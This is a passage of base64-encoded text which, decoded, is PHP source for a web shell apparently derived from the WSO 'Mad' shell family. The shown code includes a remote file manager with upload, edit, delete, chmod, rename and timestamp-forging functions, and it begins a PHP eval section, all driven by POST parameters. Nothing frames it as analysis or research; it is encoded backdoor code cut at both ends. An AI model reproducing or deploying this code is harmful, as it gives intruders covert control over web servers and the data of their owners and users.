AgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KCXJldHVybiAkaTsNCn0NCmZ1bmN0aW9uIG1hZFBlcm1zQ29sb3IoJGYpIHsNCglpZiAoIUBpc19yZWFkYWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD4nIC4gbWFkUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIG1hZFBlcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlDQoJCXJldHVybiAnPGZvbnQgY29sb3I9IzI1ZmYwMD4nIC4gbWFkUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KfQ0KDQppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsNCglmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsNCgkJJGRoICA9IG9wZW5kaXIoJGRpcik7DQoJCXdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpDQogICAgCQkkZmlsZXNbXSA9ICRmaWxlbmFtZTsNCgkJcmV0dXJuICRmaWxlczsNCgl9DQp9DQoNCg0KZnVuY3Rpb24gbWFkRmlsZXNNYW4oKSB7DQoJbWFkaGVhZCgpOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7PC9zY3JpcHQ+JzsNCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQlzd2l0Y2goJF9QT1NUWydwMSddKSB7DQoJCQljYXNlICd1cGxvYWRGaWxlJzoNCgkJCQlpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkNCgkJCQkJZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsNCgkJCQlicmVhazsNCgkJCWNhc2UgJ21rZGlyJzoNCgkJCQlpZighQG1rZGlyKCRfUE9TVFsncDInXSkpDQoJCQkJCWVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsNCgkJCQlicmVhazsNCgkJCWNhc2UgJ2RlbGV0ZSc6DQoJCQkJZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7DQoJCQkJCSRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7DQoJCQkJCSRkaCAgPSBvcGVuZGlyKCRwYXRoKTsNCgkJCQkJd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsNCgkJCQkJCSRpdGVtID0gJHBhdGguJGl0ZW07DQoJCQkJCQlpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkNCgkJCQkJCQljb250aW51ZTsNCgkJCQkJCSR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOw0KCQkJCQkJaWYgKCR0eXBlID09ICJkaXIiKQ0KCQkJCQkJCWRlbGV0ZURpcigkaXRlbSk7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygkaXRlbSk7DQoJCQkJCX0NCgkJCQkJY2xvc2VkaXIoJGRoKTsNCgkJCQkJQHJtZGlyKCRwYXRoKTsNCgkJCQl9DQoJCQkJaWYoaXNfZGlyKEAkX1BPU1RbJ3AyJ10pKQ0KCQkJCWRlbGV0ZURpcihAJF9QT1NUWydwMiddKTsNCgkJCQllbHNlDQoJCQkJQHVubGluayhAJF9QT1NUWydwMiddKTsNCgkJCQlicmVhazsNCgkJZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQkJCQkkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsNCgkJCQkJJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpDQoJCQkJCQkkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOw0KCQkJCQkkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCX0NCgl9DQoJJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCglpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsJZWNobyAnPGgzPjxzcGFuPnwgIEFjY2VzcyBEZW5pZWQhIHw8L3NwYW4+PC9oMz48L2Rpdj4nO21hZEZvb3RlcigpOyByZXR1cm47IH0NCglnbG9iYWwgJHNvcnQ7DQoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQ0KCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsNCgl9DQplY2hvICINCjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMicgID4NCjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+PHRyPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7DQoJJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOw0KCSRuID0gY291bnQoJGRpckNvbnRlbnQpOw0KCWZvcigkaT0wOyRpPCRuOyRpKyspIHsNCgkJJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7DQoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOw0KCQkkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwNCgkJCQkJICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ21vZGlmeScgPT4gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSwNCgkJCQkJICdwZXJtcycgPT4gbWFkUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkNCgkJCQkJKTsNCgkJaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkNCgkJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOw0KCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkNCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycgPT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOw0KCQllbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQ0KCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KCX0NCgkkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7DQoJZnVuY3Rpb24gd3NvQ21wKCRhLCAkYikgew0KCQlpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykNCgkJCXJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCgkJZWxzZQ0KCQkJcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsNCgl9DQoJdXNvcnQoJGZpbGVzLCAid3NvQ21wIik7DQoJdXNvcnQoJGRpcnMsICJ3c29DbXAiKTsNCgkkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsNCgkkbCA9IDA7DQoJZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsNCgkJZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIHRpdGxlPScgLiAkZlsnbGluayddIC4gJz48Yj58ICcgLiBodG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pIC4gJyB8PC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/bWFkU2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10NCgkJCS4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsbnVsbCxcJ2RlbGV0ZVwnLCBcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJykiPiBYIDwvYT48L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjE7DQoJfQ0KCWVjaG8gIjx0cj48dGQgY29sc3Bhbj03Pg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4NCgk8L2Zvcm0+PC90YWJsZT48L2Rpdj4iOw0KDQoJDQogICAgbWFkZm9vdGVyKCk7DQogfQ0KICAgIA0KICBmdW5jdGlvbiBtYWRGaWxlc1Rvb2xzKCkgew0KCWlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkNCgkJJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7DQoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgew0KCQlpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQoJCQlvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQoJCQloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7DQoJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7DQoJCQkJJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsNCgkJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsNCgkJCX0gZWxzZQ0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSghQGZlb2YoJGZwKSkNCgkJCQkJZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsNCgkJCQlmY2xvc2UoJGZwKTsNCgkJCX0NCgkJfWV4aXQ7DQoJfQ0KCWlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgew0KCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgew0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsNCgkJCWlmKCRmcCkgew0KCQkJCSRfUE9TVFsncDInXSA9ICJlZGl0IjsNCgkJCQlmY2xvc2UoJGZwKTsNCgkJCX0NCgkJfQ0KCX0NCgkNCiAgIG1hZGhlYWQoKTsNCgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KCWlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7DQoJCWVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+RklMRSBET0VTVCBOT1QgRVhJVFMgPC9wcmU+PC9kaXY+IjsNCgkJbWFkRm9vdGVyKCk7DQoJCXJldHVybjsNCgl9DQoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOw0KCWlmKCEkdWlkKSB7DQoJCSR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsNCgkJJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOw0KCX0gZWxzZSAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKSk7DQoJZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycyhAYmFzZW5hbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP21hZFNpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLm1hZFBlcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAnPGJyPic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7DQoJZWxzZQ0KCQkkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCglmb3JlYWNoKCRtIGFzICR2KQ0KCQllY2hvICc8YSAgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPjxzcGFuPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPjxzcGFuPiAnLiR2LicgPC9zcGFuPiA8L2I+JzokdikuJyA8L3NwYW4+PC9hPiAnOw0KCWVjaG8gJzxicj48YnI+JzsNCglzd2l0Y2goJF9QT1NUWydwMiddKSB7DQoJCWNhc2UgJ3ZpZXcnOg0KCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvcHJlPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGlnaGxpZ2h0JzoNCgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsNCgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQoJCQkJJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOw0KCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSAnY2htb2QnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSRwZXJtcyA9IDA7DQoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkNCgkJCQkJJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCgkJCQlpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnZWRpdCc6DQoJCQlpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCSRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7DQoJCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOw0KCQkJCWlmKCRmcCkgew0KCQkJCQlAZndyaXRlKCRmcCwkX1BPU1RbJ3AzJ10pOw0KCQkJCQlAZmNsb3NlKCRmcCk7DQoJCQkJCWVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOw0KCQkJCQlAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKTsNCgkJCQl9DQoJCQl9DQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOw0KCQkJaWYoJGZwKSB7DQoJCQkJd2hpbGUoICFAZmVvZigkZnApICkNCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsNCgkJCQlAZmNsb3NlKCRmcCk7DQoJCQl9DQoJCQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ2hleGR1bXAnOg0KCQkJJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsNCgkJCSRuID0gMDsNCgkJCSRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KCQkJJGxlbiA9IHN0cmxlbigkYyk7DQoJCQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsNCgkJCQkkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOw0KCQkJCXN3aXRjaCAoIG9yZCgkY1skaV0pICkgew0KCQkJCQljYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQljYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KCQkJCQlkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOw0KCQkJCX0NCgkJCQkkbisrOw0KCQkJCWlmICgkbiA9PSAzMikgew0KCQkJCQkkbiA9IDA7DQoJCQkJCWlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9DQoJCQkJCSRoWzFdIC49ICc8YnI+JzsNCgkJCQkJJGhbMl0gLj0gIlxuIjsNCgkJCQl9DQoJCSAJfQ0KCQkJZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPWJsYWNrPjx0cj48dGQgYmdjb2xvcj1ncmF5PjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdyZW5hbWUnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCWlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+JzsNCgkJCQllbHNlDQoJCQkJCWRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOw0KCQkJfQ0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICd0b3VjaCc6DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsNCgkJCQlpZigkdGltZSkgew0KCQkJCQlpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkNCgkJCQkJCWVjaG8gJ0ZhaWwhJzsNCgkJCQkJZWxzZQ0KCQkJCQkJZWNobyAnVG91Y2hlZCEnOw0KCQkJCX0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsNCgkJCX0NCgkJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCQllY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgltYWRGb290ZXIoKTsNCn0gIA0KDQpmdW5jdGlvbiBtYWRwaHBldmFsKCkNCnsNCiAgICBtYWRoZWFkKCk7DQogICAgDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmknKSkgew0KCQllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KCQlvYl9zdGFydCgpOw0KCQkkSU5JPWluaV9nZXRfYWxsKCk7IA0KcHJpbnQgJzx0YWJsZSBib3JkZXI9MD48dHI+Jw0KCS4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+UGFyYW08L3RkPicNCgkuJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkdsb2JhbCB2YWx1ZTwvdGQ+Jw0KCS4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+TG9jYWwgVmFsdWU8L3RkPicNCgkuJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkFjY2VzczwvdGQ+PC90cj4nOw0KZm9yZWFjaCAoJElOSSBhcyAkcGFyYW0gPT4gJHZhbHVlcykgDQoJcHJpbnQgIlxuIi4nPHRyPicNCgkJLic8dGQgY2xhc3M9Imxpc3RpbmciPjxiPicuJHBhcmFtLic8L3RkPicNCgkJLic8dGQgY2xhc3M9Imxpc3RpbmciPicuJHZhbHVlc1